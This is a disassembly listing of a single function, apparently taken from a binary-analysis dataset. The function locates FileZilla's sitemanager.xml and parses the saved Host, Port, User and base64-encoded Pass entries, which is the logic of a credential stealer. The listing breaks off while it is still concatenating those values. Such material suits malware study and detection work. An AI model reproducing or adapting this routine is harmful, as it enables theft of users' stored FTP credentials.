Function at 0x1800af390
Capabilities:
Get common file path

Disassembly:
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x260]
sub rsp, 0x360
mov rax, qword [0x18012a010]
xor rax, rsp
mov qword [rbp + 0x240], rax
xor edi, edi
mov qword [rcx + 0x18], 0xf
mov r14, rdx
mov qword [rcx + 0x10], rdi
mov r12, rcx
mov byte [rcx], dil
lea rax, [rbp + 0x130]
mov qword [rbp + 0xc0], rdi
lea edx, [rdi + 0x1a]
mov qword [rbp + 0xc8], 0xf
xor r9d, r9d
mov byte [rbp + 0xb0], dil
xor r8d, r8d
mov qword [rbp + 0x100], rdi
xor ecx, ecx
mov qword [rbp + 0x108], 0xf
mov byte [rbp + 0xf0], dil
mov r13d, edi
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], dil
mov qword [rbp + 0xe0], rdi
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], dil
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rax, [rbp + 0x130]
mov qword [rbp + 0x80], rdi
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], dil
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], dil
jne 0x1800af480
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x70]
call fcn.1800c2ee0
mov r8d, 1
lea rdx, [0x180118bb8]
lea rcx, [rbp + 0x70]
call fcn.1800c2650
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x1800af50d
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800af508
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f45
call fcn.1800cfd40
mov r8d, 0x19
mov qword [rbp + 0x80], rdi
lea rdx, str.FileZilla_sitemanager.xml
mov qword [rbp + 0x88], 0xf
lea rcx, [rsp + 0x30]
mov byte [rbp + 0x70], dil
call fcn.1800c2650
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x120], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800af59b
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800af596
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f4b
call fcn.1800cfd40
cmp qword [rbp + 0x128], 0x10
lea rcx, [rbp + 0x110]
mov qword [rsp + 0x3a0], rbx
lea rdx, [0x180118c30]
cmovae rcx, qword [rbp + 0x110]
mov qword [rsp + 0x358], rsi
mov qword [rsp + 0x350], r15
call fcn.1800dbc58
test rax, rax
je 0x1800b0ebb
mov rcx, rax
call fcn.1800dbce8
mov rcx, qword [rbp + 0x120]
inc rcx
call fcn.1800d0104
cmp qword [rbp + 0x128], 0x10
lea rcx, [rbp + 0x110]
mov rdx, rax
mov r8, rax
cmovae rcx, qword [rbp + 0x110]
sub rdx, rcx
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x1800af620
lea rdx, [0x180118c30]
mov rcx, r8
call fcn.1800dbc58
mov rcx, rax
mov r15, rax
call fcn.1800ded40
test eax, eax
jne 0x1800b0e0a
lea rbx, [0x1801336e0]
nop word [rax + rax]
mov r8, r15
mov edx, 0x800
mov rcx, rbx
call fcn.1800dd868
test rax, rax
je 0x1800b0dfa
mov qword [rbp + 0x80], rdi
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], 0
inc r8
cmp byte [rbx + r8], 0
jne 0x1800af696
mov rdx, rbx
lea rcx, [rbp + 0x70]
call fcn.1800c2ee0
cmp qword [rbp + 0x88], 0x10
lea rsi, [rbp + 0x70]
mov rdi, qword [rbp + 0x80]
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x1800af6dd
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800af758
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800af731
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800b0f51
mov rcx, rax
call fcn.1800cfd48
mov rcx, rax
test rax, rax
je 0x1800b0f57
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800af73f
test rcx, rcx
je 0x1800af73d
call fcn.1800cfd48
jmp 0x1800af73f
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d33d0
mov qword [rsp + 0x48], rbx
mov r8d, 6
mov qword [rsp + 0x40], rdi
lea rdx, str._Host_
mov qword [rbp - 0x80], 0
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
call fcn.1800c2ee0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.18008cc40
test eax, eax
jle 0x1800afa3f
cmp qword [rbp + 0x88], 0x10
lea rsi, [rbp + 0x70]
mov rdi, qword [rbp + 0x80]
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x1800af7d1
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x68], 0xf
movups xmmword [rsp + 0x50], xmm0
jmp 0x1800af84c
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800af825
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800b0f51
mov rcx, rax
call fcn.1800cfd48
mov rcx, rax
test rax, rax
je 0x1800b0f57
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800af833
test rcx, rcx
je 0x1800af831
call fcn.1800cfd48
jmp 0x1800af833
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x50], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d33d0
mov qword [rsp + 0x68], rbx
mov r8d, 7
mov qword [rsp + 0x60], rdi
lea rdx, str.__Host_
mov qword [rbp - 0x60], 0
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
call fcn.1800c2ee0
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.18008cc40
test eax, eax
jle 0x1800afa3f
mov rsi, qword [rbp + 0x88]
lea rcx, [rbp + 0x70]
mov rdi, qword [rbp + 0x70]
lea r9, str._Host_
mov rbx, qword [rbp + 0x80]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800c3ec0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1800b0f39
sub rbx, rcx
lea rdx, [rbp + 0x70]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800c2ee0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x1800af955
mov rcx, qword [rbp + 0xb0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800af950
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f57
call fcn.1800cfd40
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp + 0xb0]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__Host_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp + 0xb0], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0xc0], xmm1
cmovae rcx, rsi
call fcn.1800c3ec0
cmp rbx, rax
lea rdx, [rbp + 0xb0]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800c2ee0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x1800afa27
mov rcx, qword [rbp + 0xb0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800afa22
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f57
call fcn.1800cfd40
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm1
cmp qword [rbp + 0x88], 0x10
lea rsi, [rbp + 0x70]
mov rdi, qword [rbp + 0x80]
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x1800afa70
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800afaeb
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800afac4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800b0f51
mov rcx, rax
call fcn.1800cfd48
mov rcx, rax
test rax, rax
je 0x1800b0f57
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800afad2
test rcx, rcx
je 0x1800afad0
call fcn.1800cfd48
jmp 0x1800afad2
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d33d0
mov qword [rsp + 0x48], rbx
mov r8d, 6
mov qword [rsp + 0x40], rdi
lea rdx, str._Port_
mov qword [rbp - 0x80], 0
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
call fcn.1800c2ee0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.18008cc40
test eax, eax
jle 0x1800afdd2
cmp qword [rbp + 0x88], 0x10
lea rsi, [rbp + 0x70]
mov rdi, qword [rbp + 0x80]
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x1800afb64
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x68], 0xf
movups xmmword [rsp + 0x50], xmm0
jmp 0x1800afbdf
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800afbb8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800b0f51
mov rcx, rax
call fcn.1800cfd48
mov rcx, rax
test rax, rax
je 0x1800b0f57
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800afbc6
test rcx, rcx
je 0x1800afbc4
call fcn.1800cfd48
jmp 0x1800afbc6
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x50], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d33d0
mov qword [rsp + 0x68], rbx
mov r8d, 7
mov qword [rsp + 0x60], rdi
lea rdx, str.__Port_
mov qword [rbp - 0x60], 0
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
call fcn.1800c2ee0
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.18008cc40
test eax, eax
jle 0x1800afdd2
mov rsi, qword [rbp + 0x88]
lea rcx, [rbp + 0x70]
mov rdi, qword [rbp + 0x70]
lea r9, str._Port_
mov rbx, qword [rbp + 0x80]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800c3ec0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1800b0f39
sub rbx, rcx
lea rdx, [rbp + 0x70]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800c2ee0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x1800afce8
mov rcx, qword [rbp + 0xd0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800afce3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f57
call fcn.1800cfd40
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp + 0xd0]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__Port_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp + 0xd0], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0xe0], xmm1
cmovae rcx, rsi
call fcn.1800c3ec0
cmp rbx, rax
lea rdx, [rbp + 0xd0]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800c2ee0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x1800afdba
mov rcx, qword [rbp + 0xd0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800afdb5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f57
call fcn.1800cfd40
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm1
cmp qword [rbp + 0x88], 0x10
lea rsi, [rbp + 0x70]
mov rdi, qword [rbp + 0x80]
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x1800afe03
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800afe7e
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800afe57
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800b0f51
mov rcx, rax
call fcn.1800cfd48
mov rcx, rax
test rax, rax
je 0x1800b0f57
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800afe65
test rcx, rcx
je 0x1800afe63
call fcn.1800cfd48
jmp 0x1800afe65
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d33d0
mov qword [rsp + 0x48], rbx
mov r8d, 6
mov qword [rsp + 0x40], rdi
lea rdx, str._User_
mov qword [rbp - 0x80], 0
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
call fcn.1800c2ee0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.18008cc40
test eax, eax
jle 0x1800b0165
cmp qword [rbp + 0x88], 0x10
lea rsi, [rbp + 0x70]
mov rdi, qword [rbp + 0x80]
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x1800afef7
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x68], 0xf
movups xmmword [rsp + 0x50], xmm0
jmp 0x1800aff72
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800aff4b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800b0f51
mov rcx, rax
call fcn.1800cfd48
mov rcx, rax
test rax, rax
je 0x1800b0f57
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800aff59
test rcx, rcx
je 0x1800aff57
call fcn.1800cfd48
jmp 0x1800aff59
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x50], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d33d0
mov qword [rsp + 0x68], rbx
mov r8d, 7
mov qword [rsp + 0x60], rdi
lea rdx, str.__User_
mov qword [rbp - 0x60], 0
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
call fcn.1800c2ee0
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.18008cc40
test eax, eax
jle 0x1800b0165
mov rsi, qword [rbp + 0x88]
lea rcx, [rbp + 0x70]
mov rdi, qword [rbp + 0x70]
lea r9, str._User_
mov rbx, qword [rbp + 0x80]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 6
cmovae rcx, rdi
call fcn.1800c3ec0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x1800b0f39
sub rbx, rcx
lea rdx, [rbp + 0x70]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800c2ee0
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x1800b007b
mov rcx, qword [rbp + 0xf0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0076
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f57
call fcn.1800cfd40
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp + 0xf0]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__User_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp + 0xf0], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0x100], xmm1
cmovae rcx, rsi
call fcn.1800c3ec0
cmp rbx, rax
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800c2ee0
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x1800b014d
mov rcx, qword [rbp + 0xf0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0148
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f57
call fcn.1800cfd40
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm1
cmp qword [rbp + 0x88], 0x10
lea rsi, [rbp + 0x70]
mov rdi, qword [rbp + 0x80]
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x1800b0196
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800b0211
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800b01ea
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800b0f51
mov rcx, rax
call fcn.1800cfd48
mov rcx, rax
test rax, rax
je 0x1800b0f57
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800b01f8
test rcx, rcx
je 0x1800b01f6
call fcn.1800cfd48
jmp 0x1800b01f8
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d33d0
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rdi
lea rdx, str._Pass_encoding_base64__
xor edi, edi
mov qword [rbp - 0x78], 0xf
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x80], rdi
mov byte [rsp + 0x70], dil
lea r8d, [rdi + 0x18]
call fcn.1800c2ee0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.18008cc40
test eax, eax
jle 0x1800b05d5
cmp qword [rbp + 0x88], 0x10
lea rsi, [rbp + 0x70]
mov rdi, qword [rbp + 0x80]
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x1800b0286
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x68], 0xf
movups xmmword [rsp + 0x50], xmm0
jmp 0x1800b0301
movabs rax, 0x7fffffffffffffff
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800b02da
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800b0f51
mov rcx, rax
call fcn.1800cfd48
mov rcx, rax
test rax, rax
je 0x1800b0f57
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800b02e8
test rcx, rcx
je 0x1800b02e6
call fcn.1800cfd48
jmp 0x1800b02e8
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x50], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800d33d0
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x60], rdi
lea rdx, str.__Pass_
xor edi, edi
mov qword [rbp - 0x58], 0xf
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x60], rdi
mov byte [rbp - 0x70], dil
lea r8d, [rdi + 7]
call fcn.1800c2ee0
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.18008cc40
test eax, eax
jle 0x1800b05d5
mov rsi, qword [rbp + 0x88]
lea rcx, [rbp + 0x70]
mov rdi, qword [rbp + 0x70]
lea r9, str._Pass_encoding_base64__
mov rbx, qword [rbp + 0x80]
cmp rsi, 0x10
mov rdx, rbx
mov qword [rsp + 0x20], 0x18
cmovae rcx, rdi
call fcn.1800c3ec0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
lea rcx, [rax + 0x18]
cmp rbx, rcx
jb 0x1800b0f39
sub rbx, rcx
lea rdx, [rbp + 0x70]
mov r8d, 0xff
cmp rbx, r8
cmovb r8, rbx
cmp rsi, 0x10
cmovae rdx, rdi
add rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.1800c2ee0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x1800b0406
mov rcx, qword [rbp + 0x90]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0401
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f57
call fcn.1800cfd40
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rbp + 0x90]
mov qword [rsp + 0x40], 0
movups xmm0, xmmword [rsp + 0x30]
mov qword [rsp + 0x48], 0xf
lea r9, str.__Pass_
movq rbx, xmm1
mov byte [rsp + 0x30], 0
movq rsi, xmm0
mov qword [rsp + 0x20], 7
movups xmmword [rbp + 0x90], xmm0
mov rdx, rbx
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rdi, xmm0
cmp rdi, 0x10
movups xmmword [rbp + 0xa0], xmm1
cmovae rcx, rsi
call fcn.1800c3ec0
cmp rbx, rax
lea rdx, [rbp + 0x90]
lea rcx, [rsp + 0x30]
cmovb rax, rbx
cmp rdi, 0x10
mov r8, rax
cmovae rdx, rsi
call fcn.1800c2ee0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x1800b04d8
mov rcx, qword [rbp + 0x90]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b04d3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f57
call fcn.1800cfd40
movups xmm0, xmmword [rsp + 0x30]
lea rdx, [rbp + 0x90]
movups xmm1, xmmword [rsp + 0x40]
lea rcx, [rsp + 0x30]
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm1
call fcn.180089e00
mov rbx, rax
lea rax, [rbp + 0x90]
cmp rax, rbx
je 0x1800b0596
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x1800b0555
mov rcx, qword [rbp + 0x90]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b0550
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f5d
call fcn.1800cfd40
mov qword [rbp + 0xa8], 0xf
xor edi, edi
mov qword [rbp + 0xa0], rdi
mov byte [rbp + 0x90], dil
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], dil
jmp 0x1800b0598
xor edi, edi
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800b05d5
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b05d0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b0f5d
call fcn.1800cfd40
mov rax, qword [rbp + 0xc0]
test rax, rax
je 0x1800b0dea
cmp qword [rbp + 0x100], 0
je 0x1800b0dea
cmp qword [rbp + 0xa0], 0
je 0x1800b0dea
mov rcx, qword [r14 + 0x18]
mov rdx, r14
cmp rcx, 0x10
jb 0x1800b0611
mov rdx, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x1800b0621
cmp byte [rdx], 0x30
jne 0x1800b0621
mov dl, 1
jmp 0x1800b0623
xor dl, dl
test dl, dl
je 0x1800b0baf
lea rdx, [rax + 1]
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
cmp rdx, 0x10
jb 0x1800b0652
lea rcx, [rbp - 0x50]
call fcn.1800c9320
mov qword [rbp - 0x40], rdi
mov r8d, 1
lea rdx, [0x180118c90]
lea rcx, [rbp - 0x50]
call fcn.1800c2650
cmp qword [rbp + 0xc8], 0x10
lea rdx, [rbp + 0xb0]
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp - 0x50]
cmovae rdx, qword [rbp + 0xb0]
call fcn.1800c2650
mov r8d, 1
lea rdx, [0x1801193c8]
lea rcx, [rbp - 0x50]
call fcn.1800c2650
lea rdx, [rbp + 0xd0]
lea rcx, [rsp + 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 0xe8], 0x10
mov r8, qword [rbp + 0xe0]
cmovae rdx, qword [rbp + 0xd0]
call fcn.1800c2650
mov r8d, 1
lea rdx, [0x180118c8c]
lea rcx, [rsp + 0x50]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800c2650
mov r8d, 1
lea rdx, [0x180118c90]
lea rcx, [rsp + 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800c2650
lea rdx, [rbp + 0xf0]
lea rcx, [rbp - 0x70]
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
